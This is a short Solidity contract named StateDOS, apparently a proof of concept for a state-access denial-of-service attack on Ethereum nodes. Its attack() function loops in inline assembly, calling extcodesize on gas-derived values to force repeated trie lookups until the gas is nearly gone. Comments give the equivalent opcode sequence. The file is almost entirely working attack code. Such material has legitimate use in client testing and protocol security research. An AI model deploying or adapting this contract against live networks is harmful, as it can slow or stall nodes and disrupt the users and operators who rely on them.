StateDOS.sol 779 Bytes
Newer Older
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

contract StateDOS {
    bool public hasRun = false;

    function attack() public {
        //  jumpdest     ; jump label, start of loop
        // 	gas          ; get a 'random' value on the stack
        // 	extcodesize  ; trigger trie lookup
        // 	pop          ; ignore the extcodesize result
        // 	push1 0x00   ; jump label dest
        // 	jump         ; jump back to start

        assembly {
            let thegas := gas()

        // While greater than 23000 gas. This will let us SSTORE at the end.
            for { } gt(thegas, 0x59D8) { } {
                thegas := gas()
                let ignoredext := extcodesize(thegas)
            }
        }
        hasRun = true; // Sanity check
    }
}